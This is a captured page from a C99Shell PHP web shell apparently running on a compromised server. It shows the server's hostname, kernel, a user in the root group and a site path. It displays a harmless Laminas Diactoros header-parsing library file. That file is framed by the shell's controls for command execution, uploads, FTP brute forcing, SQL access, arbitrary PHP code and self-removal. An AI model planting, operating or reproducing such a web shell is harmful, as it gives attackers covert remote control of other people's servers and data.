!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laminas/laminas-diactoros/src/functions/   drwxr-xr-x
Free 26.55 GB of 117.98 GB (22.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     marshal_headers_from_sapi.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Laminas\Diactoros;

use function 
array_filter;
use function 
array_key_exists;
use function 
is_string;
use function 
str_starts_with;
use function 
strtolower;
use function 
strtr;
use function 
substr;

use const 
ARRAY_FILTER_USE_KEY;

/**
 * @param array $server Values obtained from the SAPI (generally `$_SERVER`).
 * @return array<non-empty-string, mixed> Header/value pairs
 */
function marshalHeadersFromSapi(array $server): array
{
    
$contentHeaderLookup = isset($server['LAMINAS_DIACTOROS_STRICT_CONTENT_HEADER_LOOKUP'])
        ? static function (
string $key): bool {
            static 
$contentHeaders = [
                
'CONTENT_TYPE'   => true,
                
'CONTENT_LENGTH' => true,
                
'CONTENT_MD5'    => true,
            ];
            return isset(
$contentHeaders[$key]);
        }
        : static fn(
string $key): bool => str_starts_with($key'CONTENT_');

    
$headers = [];
    foreach (
$server as $key => $value) {
        if (! 
is_string($key) || $key === '') {
            continue;
        }

        if (
$value === '') {
            continue;
        }

        
// Apache prefixes environment variables with REDIRECT_
        // if they are added by rewrite rules
        
if (str_starts_with($key'REDIRECT_')) {
            
$key substr($key9);

            
// We will not overwrite existing variables with the
            // prefixed versions, though
            
if (array_key_exists($key$server)) {
                continue;
            }
        }

        if (
str_starts_with($key'HTTP_')) {
            
$name           strtr(strtolower(substr($key5)), '_''-');
            
$headers[$name] = $value;
            continue;
        }

        if (
$contentHeaderLookup($key)) {
            
$name           strtr(strtolower($key), '_''-');
            
$headers[$name] = $value;
            continue;
        }
    }

    
// Filter out integer keys.
    // These can occur if the translated header name is a string integer.
    // PHP will cast those to integers when assigned to an array.
    // This filters them out.
    
return array_filter($headers, fn(string|int $key): bool => is_string($key), ARRAY_FILTER_USE_KEY);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--